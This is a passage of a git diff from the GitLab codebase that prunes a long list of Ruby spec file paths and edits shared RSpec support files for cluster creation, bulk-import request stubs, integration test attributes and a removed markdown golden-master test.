-- './spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb'
-- './spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb'
-- './spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb'
-- './spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb'
-- './spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb'
-- './spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb'
-- './spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb'
-- './spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb'
- './spec/migrations/20210603222333_remove_builds_email_service_from_services_spec.rb'
- './spec/migrations/20210610153556_delete_legacy_operations_feature_flags_spec.rb'
- './spec/migrations/2021061716138_cascade_delete_freeze_periods_spec.rb'
@@ -7706,7 +7545,6 @@
- './spec/migrations/20210805192450_update_trial_plans_ci_daily_pipeline_schedule_triggers_spec.rb'
- './spec/migrations/20210811122206_update_external_project_bots_spec.rb'
- './spec/migrations/20210812013042_remove_duplicate_project_authorizations_spec.rb'
-- './spec/migrations/20210818185845_backfill_projects_with_coverage_spec.rb'
- './spec/migrations/20210819145000_drop_temporary_columns_and_triggers_for_ci_builds_runner_session_spec.rb'
- './spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb'
- './spec/migrations/20210902144144_drop_temporary_columns_and_triggers_for_ci_build_needs_spec.rb'
@@ -7803,11 +7641,9 @@
- './spec/migrations/20220801155858_schedule_disable_legacy_open_source_licence_for_recent_public_projects_spec.rb'
- './spec/migrations/20220802114351_reschedule_backfill_container_registry_size_into_project_statistics_spec.rb'
- './spec/migrations/20220802204737_remove_deactivated_user_highest_role_stats_spec.rb'
-- './spec/migrations/20220809002011_schedule_destroy_invalid_group_members_spec.rb'
- './spec/migrations/active_record/schema_spec.rb'
- './spec/migrations/add_default_project_approval_rules_vuln_allowed_spec.rb'
- './spec/migrations/add_epics_relative_position_spec.rb'
-- './spec/migrations/add_new_trail_plans_spec.rb'
- './spec/migrations/add_open_source_plan_spec.rb'
- './spec/migrations/add_premium_and_ultimate_plan_limits_spec.rb'
- './spec/migrations/add_triggers_to_integrations_type_new_spec.rb'
@@ -7816,9 +7652,7 @@
- './spec/migrations/associate_existing_dast_builds_with_variables_spec.rb'
- './spec/migrations/backfill_all_project_namespaces_spec.rb'
- './spec/migrations/backfill_cadence_id_for_boards_scoped_to_iteration_spec.rb'
-- './spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb'
- './spec/migrations/backfill_cycle_analytics_aggregations_spec.rb'
-- './spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb'
- './spec/migrations/backfill_group_features_spec.rb'
- './spec/migrations/backfill_integrations_enable_ssl_verification_spec.rb'
- './spec/migrations/backfill_integrations_type_new_spec.rb'
@@ -7826,26 +7660,19 @@
- './spec/migrations/backfill_member_namespace_id_for_group_members_spec.rb'
- './spec/migrations/backfill_namespace_id_for_namespace_routes_spec.rb'
- './spec/migrations/backfill_namespace_id_for_project_routes_spec.rb'
-- './spec/migrations/backfill_nuget_temporary_packages_to_processing_status_spec.rb'
- './spec/migrations/backfill_project_import_level_spec.rb'
- './spec/migrations/backfill_project_namespaces_for_group_spec.rb'
- './spec/migrations/backfill_stage_event_hash_spec.rb'
- './spec/migrations/backfill_user_namespace_spec.rb'
- './spec/migrations/bulk_insert_cluster_enabled_grants_spec.rb'
- './spec/migrations/change_public_projects_cost_factor_spec.rb'
-- './spec/migrations/change_web_hook_events_default_spec.rb'
-- './spec/migrations/cleanup_after_add_primary_email_to_emails_if_user_confirmed_spec.rb'
- './spec/migrations/cleanup_after_fixing_issue_when_admin_changed_primary_email_spec.rb'
- './spec/migrations/cleanup_after_fixing_regression_with_new_users_emails_spec.rb'
- './spec/migrations/cleanup_backfill_integrations_enable_ssl_verification_spec.rb'
-- './spec/migrations/cleanup_move_container_registry_enabled_to_project_feature_spec.rb'
- './spec/migrations/cleanup_mr_attention_request_todos_spec.rb'
- './spec/migrations/cleanup_orphaned_routes_spec.rb'
-- './spec/migrations/clean_up_pending_builds_table_spec.rb'
- './spec/migrations/cleanup_remaining_orphan_invites_spec.rb'
- './spec/migrations/confirm_security_bot_spec.rb'
-- './spec/migrations/confirm_support_bot_user_spec.rb'
-- './spec/migrations/delete_security_findings_without_uuid_spec.rb'
- './spec/migrations/disable_expiration_policies_linked_to_no_container_images_spec.rb'
- './spec/migrations/disable_job_token_scope_when_unused_spec.rb'
- './spec/migrations/finalize_orphaned_routes_cleanup_spec.rb'
@@ -7855,23 +7682,17 @@
- './spec/migrations/fix_and_backfill_project_namespaces_for_projects_with_duplicate_name_spec.rb'
- './spec/migrations/fix_batched_migrations_old_format_job_arguments_spec.rb'
- './spec/migrations/generate_customers_dot_jwt_signing_key_spec.rb'
-- './spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb'
-- './spec/migrations/migrate_elastic_index_settings_spec.rb'
- './spec/migrations/migrate_protected_attribute_to_pending_builds_spec.rb'
-- './spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb'
- './spec/migrations/orphaned_invite_tokens_cleanup_spec.rb'
- './spec/migrations/populate_audit_event_streaming_verification_token_spec.rb'
-- './spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb'
- './spec/migrations/populate_operation_visibility_permissions_spec.rb'
- './spec/migrations/queue_backfill_project_feature_package_registry_access_level_spec.rb'
- './spec/migrations/recreate_index_security_ci_builds_on_name_and_id_parser_features_spec.rb'
- './spec/migrations/recreate_index_security_ci_builds_on_name_and_id_parser_with_new_features_spec.rb'
- './spec/migrations/remove_duplicate_dast_site_tokens_spec.rb'
- './spec/migrations/remove_duplicate_dast_site_tokens_with_same_token_spec.rb'
-- './spec/migrations/remove_hipchat_service_records_spec.rb'
- './spec/migrations/remove_invalid_integrations_spec.rb'
- './spec/migrations/remove_not_null_contraint_on_title_from_sprints_spec.rb'
-- './spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb'
- './spec/migrations/remove_schedule_and_status_from_pending_alert_escalations_spec.rb'
- './spec/migrations/remove_wiki_notes_spec.rb'
- './spec/migrations/rename_services_to_integrations_spec.rb'
@@ -7883,22 +7704,17 @@
- './spec/migrations/reset_job_token_scope_enabled_spec.rb'
- './spec/migrations/reset_severity_levels_to_new_default_spec.rb'
- './spec/migrations/retry_backfill_traversal_ids_spec.rb'
-- './spec/migrations/schedule_add_primary_email_to_emails_if_user_confirmed_spec.rb'
- './spec/migrations/schedule_backfill_draft_status_on_merge_requests_corrected_regex_spec.rb'
- './spec/migrations/schedule_backfilling_the_namespace_id_for_vulnerability_reads_spec.rb'
- './spec/migrations/schedule_copy_ci_builds_columns_to_security_scans2_spec.rb'
-- './spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb'
- './spec/migrations/schedule_fix_incorrect_max_seats_used2_spec.rb'
- './spec/migrations/schedule_fix_incorrect_max_seats_used_spec.rb'
-- './spec/migrations/schedule_migrate_shared_vulnerability_scanners_spec.rb'
- './spec/migrations/schedule_populate_requirements_issue_id_spec.rb'
- './spec/migrations/schedule_purging_stale_security_scans_spec.rb'
- './spec/migrations/schedule_recalculate_vulnerability_finding_signatures_for_findings_spec.rb'
- './spec/migrations/schedule_security_setting_creation_spec.rb'
- './spec/migrations/schedule_set_correct_vulnerability_state_spec.rb'
- './spec/migrations/schedule_update_timelogs_null_spent_at_spec.rb'
-- './spec/migrations/schedule_update_timelogs_project_id_spec.rb'
-- './spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb'
- './spec/migrations/set_default_job_token_scope_true_spec.rb'
- './spec/migrations/slice_merge_request_diff_commit_migrations_spec.rb'
- './spec/migrations/start_backfill_ci_queuing_tables_spec.rb'
@@ -7909,7 +7725,6 @@
- './spec/migrations/update_default_scan_method_of_dast_site_profile_spec.rb'
- './spec/migrations/update_integrations_trigger_type_new_on_insert_spec.rb'
- './spec/migrations/update_invalid_member_states_spec.rb'
-- './spec/migrations/update_invalid_web_hooks_spec.rb'
- './spec/models/ability_spec.rb'
- './spec/models/abuse_report_spec.rb'
- './spec/models/active_session_spec.rb'
@@ -7994,7 +7809,6 @@
- './spec/models/ci/daily_build_group_report_result_spec.rb'
- './spec/models/ci/deleted_object_spec.rb'
- './spec/models/ci/freeze_period_spec.rb'
-- './spec/models/ci/freeze_period_status_spec.rb'
- './spec/models/ci/group_spec.rb'
- './spec/models/ci/group_variable_spec.rb'
- './spec/models/ci/instance_variable_spec.rb'
@@ -8066,7 +7880,6 @@
- './spec/models/compare_spec.rb'
- './spec/models/concerns/access_requestable_spec.rb'
- './spec/models/concerns/after_commit_queue_spec.rb'
-- './spec/models/concerns/approvable_base_spec.rb'
- './spec/models/concerns/as_cte_spec.rb'
- './spec/models/concerns/atomic_internal_id_spec.rb'
- './spec/models/concerns/avatarable_spec.rb'
@@ -8080,13 +7893,11 @@
- './spec/models/concerns/bulk_insert_safe_spec.rb'
- './spec/models/concerns/cacheable_attributes_spec.rb'
- './spec/models/concerns/cache_markdown_field_spec.rb'
-- './spec/models/concerns/cascading_namespace_setting_attribute_spec.rb'
- './spec/models/concerns/case_sensitivity_spec.rb'
- './spec/models/concerns/checksummable_spec.rb'
- './spec/models/concerns/chronic_duration_attribute_spec.rb'
- './spec/models/concerns/ci/artifactable_spec.rb'
- './spec/models/concerns/ci/bulk_insertable_tags_spec.rb'
-- './spec/models/concerns/ci/has_deployment_name_spec.rb'
- './spec/models/concerns/ci/has_ref_spec.rb'
- './spec/models/concerns/ci/has_status_spec.rb'
- './spec/models/concerns/ci/has_variable_spec.rb'
@@ -8223,9 +8034,6 @@
- './spec/models/error_tracking/error_spec.rb'
- './spec/models/error_tracking/project_error_tracking_setting_spec.rb'
- './spec/models/event_spec.rb'
-- './spec/models/experiment_spec.rb'
-- './spec/models/experiment_subject_spec.rb'
-- './spec/models/experiment_user_spec.rb'
- './spec/models/exported_protected_branch_spec.rb'
- './spec/models/external_issue_spec.rb'
- './spec/models/external_pull_request_spec.rb'
@@ -8318,7 +8126,6 @@
- './spec/models/internal_id_spec.rb'
- './spec/models/issuable_severity_spec.rb'
- './spec/models/issue_assignee_spec.rb'
-- './spec/models/issue_collection_spec.rb'
- './spec/models/issue_email_participant_spec.rb'
- './spec/models/issue/email_spec.rb'
- './spec/models/issue_link_spec.rb'
@@ -8390,7 +8197,6 @@
- './spec/models/notification_setting_spec.rb'
- './spec/models/oauth_access_grant_spec.rb'
- './spec/models/oauth_access_token_spec.rb'
-- './spec/models/onboarding_progress_spec.rb'
- './spec/models/operations/feature_flags_client_spec.rb'
- './spec/models/operations/feature_flag_spec.rb'
- './spec/models/operations/feature_flags/strategy_spec.rb'
@@ -8566,7 +8372,6 @@
- './spec/models/users/group_callout_spec.rb'
- './spec/models/users/in_product_marketing_email_spec.rb'
- './spec/models/users/merge_request_interaction_spec.rb'
-- './spec/models/users/namespace_callout_spec.rb'
- './spec/models/user_spec.rb'
- './spec/models/users/project_callout_spec.rb'
- './spec/models/users/saved_reply_spec.rb'
@@ -8612,7 +8417,6 @@
- './spec/policies/commit_policy_spec.rb'
- './spec/policies/concerns/crud_policy_helpers_spec.rb'
- './spec/policies/concerns/policy_actor_spec.rb'
-- './spec/policies/concerns/readonly_abilities_spec.rb'
- './spec/policies/container_expiration_policy_policy_spec.rb'
- './spec/policies/custom_emoji_policy_spec.rb'
- './spec/policies/deploy_key_policy_spec.rb'
@@ -8624,7 +8428,6 @@
- './spec/policies/group_deploy_key_policy_spec.rb'
- './spec/policies/group_deploy_keys_group_policy_spec.rb'
- './spec/policies/group_member_policy_spec.rb'
-- './spec/policies/group_policy_spec.rb'
- './spec/policies/identity_provider_policy_spec.rb'
- './spec/policies/instance_metadata_policy_spec.rb'
- './spec/policies/integration_policy_spec.rb'
@@ -8962,7 +8765,6 @@
- './spec/requests/api/graphql/mutations/work_items/delete_task_spec.rb'
- './spec/requests/api/graphql/mutations/work_items/update_spec.rb'
- './spec/requests/api/graphql/mutations/work_items/update_task_spec.rb'
-- './spec/requests/api/graphql/mutations/work_items/update_widgets_spec.rb'
- './spec/requests/api/graphql/namespace/package_settings_spec.rb'
- './spec/requests/api/graphql/namespace/projects_spec.rb'
- './spec/requests/api/graphql/namespace_query_spec.rb'
@@ -9058,7 +8860,6 @@
- './spec/requests/api/import_bitbucket_server_spec.rb'
- './spec/requests/api/import_github_spec.rb'
- './spec/requests/api/integrations/jira_connect/subscriptions_spec.rb'
-- './spec/requests/api/integrations/slack/events_spec.rb'
- './spec/requests/api/integrations_spec.rb'
- './spec/requests/api/internal/base_spec.rb'
- './spec/requests/api/internal/container_registry/migration_spec.rb'
@@ -9078,7 +8879,6 @@
- './spec/requests/api/keys_spec.rb'
- './spec/requests/api/labels_spec.rb'
- './spec/requests/api/lint_spec.rb'
-- './spec/requests/api/markdown_golden_master_spec.rb'
- './spec/requests/api/markdown_snapshot_spec.rb'
- './spec/requests/api/markdown_spec.rb'
- './spec/requests/api/maven_packages_spec.rb'
@@ -9157,9 +8957,7 @@
- './spec/requests/api/users_preferences_spec.rb'
- './spec/requests/api/users_spec.rb'
- './spec/requests/api/v3/github_spec.rb'
-- './spec/requests/api/version_spec.rb'
- './spec/requests/api/wikis_spec.rb'
-- './spec/requests/boards/lists_controller_spec.rb'
- './spec/requests/concerns/planning_hierarchy_spec.rb'
- './spec/requests/content_security_policy_spec.rb'
- './spec/requests/dashboard_controller_spec.rb'
@@ -9201,8 +8999,6 @@
- './spec/requests/oauth/tokens_controller_spec.rb'
- './spec/requests/oauth_tokens_spec.rb'
- './spec/requests/openid_connect_spec.rb'
-- './spec/requests/product_analytics/collector_app_attack_spec.rb'
-- './spec/requests/product_analytics/collector_app_spec.rb'
- './spec/requests/profiles/notifications_controller_spec.rb'
- './spec/requests/projects/ci/promeheus_metrics/histograms_controller_spec.rb'
- './spec/requests/projects/cluster_agents_controller_spec.rb'
@@ -9258,7 +9054,6 @@
- './spec/requests/users_controller_spec.rb'
- './spec/requests/user_sends_malformed_strings_spec.rb'
- './spec/requests/users/group_callouts_spec.rb'
-- './spec/requests/users/namespace_callouts_spec.rb'
- './spec/requests/user_spoofs_ip_spec.rb'
- './spec/requests/users/project_callouts_spec.rb'
- './spec/requests/verifies_with_email_spec.rb'
@@ -9288,8 +9083,6 @@
- './spec/serializers/analytics_summary_serializer_spec.rb'
- './spec/serializers/base_discussion_entity_spec.rb'
- './spec/serializers/blob_entity_spec.rb'
-- './spec/serializers/board_serializer_spec.rb'
-- './spec/serializers/board_simple_entity_spec.rb'
- './spec/serializers/build_action_entity_spec.rb'
- './spec/serializers/build_artifact_entity_spec.rb'
- './spec/serializers/build_details_entity_spec.rb'
@@ -9498,7 +9291,6 @@
- './spec/services/boards/issues/move_service_spec.rb'
- './spec/services/boards/lists/create_service_spec.rb'
- './spec/services/boards/lists/destroy_service_spec.rb'
-- './spec/services/boards/lists/generate_service_spec.rb'
- './spec/services/boards/lists/list_service_spec.rb'
- './spec/services/boards/lists/move_service_spec.rb'
- './spec/services/boards/lists/update_service_spec.rb'
@@ -9528,7 +9320,6 @@
- './spec/services/chat_names/authorize_user_service_spec.rb'
- './spec/services/chat_names/find_user_service_spec.rb'
- './spec/services/ci/abort_pipelines_service_spec.rb'
-- './spec/services/ci/after_requeue_job_service_spec.rb'
- './spec/services/ci/append_build_trace_service_spec.rb'
- './spec/services/ci/archive_trace_service_spec.rb'
- './spec/services/ci/build_cancel_service_spec.rb'
@@ -9641,37 +9432,14 @@
- './spec/services/clusters/agents/refresh_authorization_service_spec.rb'
- './spec/services/clusters/agent_tokens/create_service_spec.rb'
- './spec/services/clusters/agent_tokens/track_usage_service_spec.rb'
-- './spec/services/clusters/applications/check_ingress_ip_address_service_spec.rb'
-- './spec/services/clusters/applications/check_installation_progress_service_spec.rb'
-- './spec/services/clusters/applications/check_uninstall_progress_service_spec.rb'
-- './spec/services/clusters/applications/check_upgrade_progress_service_spec.rb'
-- './spec/services/clusters/applications/create_service_spec.rb'
-- './spec/services/clusters/applications/destroy_service_spec.rb'
-- './spec/services/clusters/applications/install_service_spec.rb'
-- './spec/services/clusters/applications/patch_service_spec.rb'
-- './spec/services/clusters/applications/prometheus_config_service_spec.rb'
-- './spec/services/clusters/applications/prometheus_update_service_spec.rb'
-- './spec/services/clusters/applications/uninstall_service_spec.rb'
-- './spec/services/clusters/applications/update_service_spec.rb'
-- './spec/services/clusters/applications/upgrade_service_spec.rb'
-- './spec/services/clusters/aws/authorize_role_service_spec.rb'
-- './spec/services/clusters/aws/fetch_credentials_service_spec.rb'
-- './spec/services/clusters/aws/finalize_creation_service_spec.rb'
-- './spec/services/clusters/aws/provision_service_spec.rb'
-- './spec/services/clusters/aws/verify_provision_status_service_spec.rb'
- './spec/services/clusters/build_kubernetes_namespace_service_spec.rb'
- './spec/services/clusters/build_service_spec.rb'
- './spec/services/clusters/cleanup/project_namespace_service_spec.rb'
- './spec/services/clusters/cleanup/service_account_service_spec.rb'
- './spec/services/clusters/create_service_spec.rb'
- './spec/services/clusters/destroy_service_spec.rb'
-- './spec/services/clusters/gcp/fetch_operation_service_spec.rb'
-- './spec/services/clusters/gcp/finalize_creation_service_spec.rb'
-- './spec/services/clusters/gcp/provision_service_spec.rb'
-- './spec/services/clusters/gcp/verify_provision_status_service_spec.rb'
- './spec/services/clusters/integrations/create_service_spec.rb'
- './spec/services/clusters/integrations/prometheus_health_check_service_spec.rb'
-- './spec/services/clusters/kubernetes/configure_istio_ingress_service_spec.rb'
- './spec/services/clusters/kubernetes/create_or_update_namespace_service_spec.rb'
- './spec/services/clusters/kubernetes/create_or_update_service_account_service_spec.rb'
- './spec/services/clusters/kubernetes/fetch_kubernetes_token_service_spec.rb'
@@ -10238,14 +10006,12 @@
- './spec/services/users/destroy_service_spec.rb'
- './spec/services/users/dismiss_callout_service_spec.rb'
- './spec/services/users/dismiss_group_callout_service_spec.rb'
-- './spec/services/users/dismiss_namespace_callout_service_spec.rb'
- './spec/services/users/dismiss_project_callout_service_spec.rb'
- './spec/services/users/email_verification/generate_token_service_spec.rb'
- './spec/services/users/email_verification/validate_token_service_spec.rb'
- './spec/services/users/in_product_marketing_email_records_spec.rb'
- './spec/services/users/keys_count_service_spec.rb'
- './spec/services/users/last_push_event_service_spec.rb'
-- './spec/services/users/migrate_to_ghost_user_service_spec.rb'
- './spec/services/users/refresh_authorized_projects_service_spec.rb'
- './spec/services/users/registrations_build_service_spec.rb'
- './spec/services/users/reject_service_spec.rb'
@@ -10296,7 +10062,6 @@
- './spec/sidekiq_cluster/sidekiq_cluster_spec.rb'
- './spec/sidekiq/cron/job_gem_dependency_spec.rb'
- './spec/spam/concerns/has_spam_action_response_fields_spec.rb'
-- './spec/support_specs/database/multiple_databases_spec.rb'
- './spec/support_specs/database/prevent_cross_joins_spec.rb'
- './spec/support_specs/graphql/arguments_spec.rb'
- './spec/support_specs/graphql/field_selection_spec.rb'
@@ -10416,7 +10181,6 @@
- './spec/validators/addressable_url_validator_spec.rb'
- './spec/validators/any_field_validator_spec.rb'
- './spec/validators/array_members_validator_spec.rb'
-- './spec/validators/branch_filter_validator_spec.rb'
- './spec/validators/color_validator_spec.rb'
- './spec/validators/cron_freeze_period_timezone_validator_spec.rb'
- './spec/validators/cron_validator_spec.rb'
@@ -10510,7 +10274,6 @@
- './spec/views/profiles/notifications/show.html.haml_spec.rb'
- './spec/views/profiles/preferences/show.html.haml_spec.rb'
- './spec/views/profiles/show.html.haml_spec.rb'
-- './spec/views/projects/artifacts/_artifact.html.haml_spec.rb'
- './spec/views/projects/blob/_viewer.html.haml_spec.rb'
- './spec/views/projects/branches/index.html.haml_spec.rb'
- './spec/views/projects/commit/branches.html.haml_spec.rb'
@@ -10555,7 +10318,6 @@
- './spec/views/registrations/welcome/show.html.haml_spec.rb'
- './spec/views/search/_results.html.haml_spec.rb'
- './spec/views/search/show.html.haml_spec.rb'
-- './spec/views/shared/deploy_tokens/_form.html.haml_spec.rb'
- './spec/views/shared/groups/_dropdown.html.haml_spec.rb'
- './spec/views/shared/issuable/_sidebar.html.haml_spec.rb'
- './spec/views/shared/_label_row.html.haml_spec.rb'
@@ -10570,7 +10332,6 @@
- './spec/views/shared/projects/_project.html.haml_spec.rb'
- './spec/views/shared/runners/_runner_details.html.haml_spec.rb'
- './spec/views/shared/snippets/_snippet.html.haml_spec.rb'
-- './spec/views/shared/ssh_keys/_key_details.html.haml_spec.rb'
- './spec/views/shared/wikis/_sidebar.html.haml_spec.rb'
- './spec/workers/admin_email_worker_spec.rb'
- './spec/workers/analytics/usage_trends/counter_job_worker_spec.rb'
@@ -10635,18 +10396,12 @@
- './spec/workers/ci/track_failed_build_worker_spec.rb'
- './spec/workers/ci/update_locked_unknown_artifacts_worker_spec.rb'
- './spec/workers/cleanup_container_repository_worker_spec.rb'
-- './spec/workers/cluster_configure_istio_worker_spec.rb'
-- './spec/workers/cluster_provision_worker_spec.rb'
- './spec/workers/clusters/agents/delete_expired_events_worker_spec.rb'
- './spec/workers/clusters/applications/activate_integration_worker_spec.rb'
- './spec/workers/clusters/applications/deactivate_integration_worker_spec.rb'
-- './spec/workers/clusters/applications/wait_for_uninstall_app_worker_spec.rb'
- './spec/workers/clusters/cleanup/project_namespace_worker_spec.rb'
- './spec/workers/clusters/cleanup/service_account_worker_spec.rb'
- './spec/workers/clusters/integrations/check_prometheus_health_worker_spec.rb'
-- './spec/workers/cluster_update_app_worker_spec.rb'
-- './spec/workers/cluster_wait_for_app_update_worker_spec.rb'
-- './spec/workers/cluster_wait_for_ingress_ip_address_worker_spec.rb'
- './spec/workers/concerns/application_worker_spec.rb'
- './spec/workers/concerns/cluster_agent_queue_spec.rb'
- './spec/workers/concerns/cluster_queue_spec.rb'
@@ -10799,10 +10554,6 @@
- './spec/workers/metrics/dashboard/sync_dashboards_worker_spec.rb'
- './spec/workers/migrate_external_diffs_worker_spec.rb'
- './spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb'
-- './spec/workers/namespaces/onboarding_issue_created_worker_spec.rb'
-- './spec/workers/namespaces/onboarding_pipeline_created_worker_spec.rb'
-- './spec/workers/namespaces/onboarding_progress_worker_spec.rb'
-- './spec/workers/namespaces/onboarding_user_added_worker_spec.rb'
- './spec/workers/namespaces/process_sync_events_worker_spec.rb'
- './spec/workers/namespaces/prune_aggregation_schedules_worker_spec.rb'
- './spec/workers/namespaces/root_statistics_worker_spec.rb'
@@ -10918,7 +10669,6 @@
- './spec/workers/users/create_statistics_worker_spec.rb'
- './spec/workers/users/deactivate_dormant_users_worker_spec.rb'
- './spec/workers/user_status_cleanup/batch_worker_spec.rb'
-- './spec/workers/wait_for_cluster_creation_worker_spec.rb'
- './spec/workers/web_hooks/log_destroy_worker_spec.rb'
- './spec/workers/web_hook_worker_spec.rb'
- './spec/workers/wikis/git_garbage_collect_worker_spec.rb'
diff --git a/spec/support/services/clusters/create_service_shared.rb b/spec/support/services/clusters/create_service_shared.rb
index f8a58a828ce..80fa7c58515 100644
--- a/spec/support/services/clusters/create_service_shared.rb
+++ b/spec/support/services/clusters/create_service_shared.rb
@@ -37,9 +37,7 @@ RSpec.shared_context 'invalid cluster create params' do
end
RSpec.shared_examples 'create cluster service success' do
- it 'creates a cluster object and performs a worker' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
-
+ it 'creates a cluster object' do
expect { subject }
.to change { Clusters::Cluster.count }.by(1)
.and change { Clusters::Providers::Gcp.count }.by(1)
@@ -60,7 +58,6 @@ end
RSpec.shared_examples 'create cluster service error' do
it 'returns an error' do
- expect(ClusterProvisionWorker).not_to receive(:perform_async)
expect { subject }.to change { Clusters::Cluster.count }.by(0)
expect(subject.errors[:"provider_gcp.gcp_project_id"]).to be_present
end
diff --git a/spec/support/shared_contexts/bulk_imports_requests_shared_context.rb b/spec/support/shared_contexts/bulk_imports_requests_shared_context.rb
index 2f74d3131ab..e8fc498cbf7 100644
--- a/spec/support/shared_contexts/bulk_imports_requests_shared_context.rb
+++ b/spec/support/shared_contexts/bulk_imports_requests_shared_context.rb
@@ -15,7 +15,7 @@ RSpec.shared_context 'bulk imports requests context' do |url|
let(:request_headers) { { 'Content-Type' => 'application/json' } }
before do
- stub_request(:get, "#{url}/api/v4/version?page=1&per_page=20&private_token=demo-pat")
+ stub_request(:get, "#{url}/api/v4/version?private_token=demo-pat")
.with(headers: request_headers)
.to_return(
status: 200,
diff --git a/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
index ca2fe8a6c54..bf5158c9a92 100644
--- a/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
+++ b/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
@@ -40,7 +40,7 @@ Integration.available_integration_names.each do |integration|
let(:integration_attrs) do
integration_attrs_list.inject({}) do |hash, k|
- if k =~ /^(token*|.*_token|.*_key)/
+ if k =~ /^(token*|.*_token|.*_key)/ && k =~ /^[^app_store]/
hash.merge!(k => 'secrettoken')
elsif integration == 'confluence' && k == :confluence_url
hash.merge!(k => 'https://example.atlassian.net/wiki')
@@ -68,6 +68,12 @@ Integration.available_integration_names.each do |integration|
hash.merge!(k => "match_any")
elsif integration == 'campfire' && k == :room
hash.merge!(k => '1234')
+ elsif integration == 'apple_app_store' && k == :app_store_issuer_id
+ hash.merge!(k => 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee')
+ elsif integration == 'apple_app_store' && k == :app_store_private_key
+ hash.merge!(k => File.read('spec/fixtures/ssl_key.pem'))
+ elsif integration == 'apple_app_store' && k == :app_store_key_id
+ hash.merge!(k => 'ABC1')
else
hash.merge!(k => "someword")
end
diff --git a/spec/support/shared_contexts/markdown_golden_master_shared_examples.rb b/spec/support/shared_contexts/markdown_golden_master_shared_examples.rb
deleted file mode 100644
index 72e23e6d5fa..00000000000
--- a/spec/support/shared_contexts/markdown_golden_master_shared_examples.rb
+++ /dev/null
@@ -1,132 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-# See spec/fixtures/markdown/markdown_golden_master_examples.yml for documentation on how this spec works.
-RSpec.shared_context 'API::Markdown Golden Master shared context' do |markdown_yml_file_path|
- include ApiHelpers
- include WikiHelpers
-
- let_it_be(:user) { create(:user, username: 'gfm_user') }
-
- let_it_be(:group) { create(:group, :public) }
- let_it_be(:project) { create(:project, :public, :repository, group: group) }
-
- let_it_be(:label) { create(:label, project: project, title: 'bug') }
- let_it_be(:label2) { create(:label, project: project, title: 'UX bug') }
-
- let_it_be(:milestone) { create(:milestone, project: project, title: '1.1') }
- let_it_be(:issue) { create(:issue, project: project) }
- let_it_be(:merge_request) { create(:merge_request, source_project: project) }
-
- let_it_be(:project_wiki) { create(:project_wiki, project: project, user: user) }
-
- let_it_be(:project_wiki_page) { create(:wiki_page, wiki: project_wiki) }
-
- before(:all) do
- group.add_owner(user)
- project.add_maintainer(user)
- end
-
- before do
- sign_in(user)
- end
-
- markdown_examples = begin
- yaml = File.read(markdown_yml_file_path)
- YAML.safe_load(yaml, symbolize_names: true, aliases: true)
- end
-
- it "examples must be unique and alphabetized by name", :unlimited_max_formatted_output_length do
- names = markdown_examples.map { |example| example[:name] }
- expect(names).to eq(names.sort.uniq)
- end
-
- if focused_markdown_examples_string = ENV['FOCUSED_MARKDOWN_EXAMPLES']
- focused_markdown_examples = focused_markdown_examples_string.split(',').map(&:strip) || []
- markdown_examples.reject! { |markdown_example| !focused_markdown_examples.include?(markdown_example.fetch(:name)) }
- end
-
- markdown_examples.each do |markdown_example|
- name = markdown_example.fetch(:name)
- api_context = markdown_example[:api_context]
-
- if api_context && !name.end_with?("_for_#{api_context}")
- raise "Name must have suffix of '_for_#{api_context}' to the api_context"
- end
-
- context "for #{name}#{api_context ? " (api_context: #{api_context})" : ''}" do
- let(:pending_reason) do
- pending_value = markdown_example.fetch(:pending, nil)
- get_pending_reason(pending_value)
- end
-
- let(:example_markdown) { markdown_example.fetch(:markdown) }
- let(:example_html) { markdown_example.fetch(:html) }
- let(:substitutions) { markdown_example.fetch(:substitutions, {}) }
-
- it "verifies conversion of GFM to HTML", :unlimited_max_formatted_output_length do
- stub_application_setting(plantuml_enabled: true, plantuml_url: 'http://localhost:8080')
- stub_application_setting(kroki_enabled: true, kroki_url: 'http://localhost:8000')
-
- pending pending_reason if pending_reason
-
- normalized_example_html = normalize_html(example_html, substitutions)
-
- api_url = get_url_for_api_context(api_context)
-
- post api_url, params: { text: example_markdown, gfm: true }
- expect(response).to be_successful
- response_body = Gitlab::Json.parse(response.body)
- # Some requests have the HTML in the `html` key, others in the `body` key.
- response_html = response_body['body'] ? response_body.fetch('body') : response_body.fetch('html')
- normalized_response_html = normalize_html(response_html, substitutions)
-
- expect(normalized_response_html).to eq(normalized_example_html)
- end
-
- def get_pending_reason(pending_value)
- return false unless pending_value
-
- return pending_value if pending_value.is_a?(String)
-
- pending_value[:backend] || false
- end
-
- def normalize_html(html, substitutions)
- normalized_html = html.dup
- # Note: having the top level `substitutions` data structure be a hash of arrays
- # allows us to compose multiple substitutions via YAML anchors (YAML anchors
- # pointing to arrays can't be combined)
- substitutions.each_value do |substitution_entry|
- substitution_entry.each do |substitution|
- regex = substitution.fetch(:regex)
- replacement = substitution.fetch(:replacement)
- normalized_html.gsub!(%r{#{regex}}, replacement)
- end
- end
-
- normalized_html
- end
- end
- end
-
- def supported_api_contexts
- %w(project group project_wiki)
- end
-
- def get_url_for_api_context(api_context)
- case api_context
- when 'project'
- "/#{project.full_path}/preview_markdown"
- when 'group'
- "/groups/#{group.full_path}/preview_markdown"
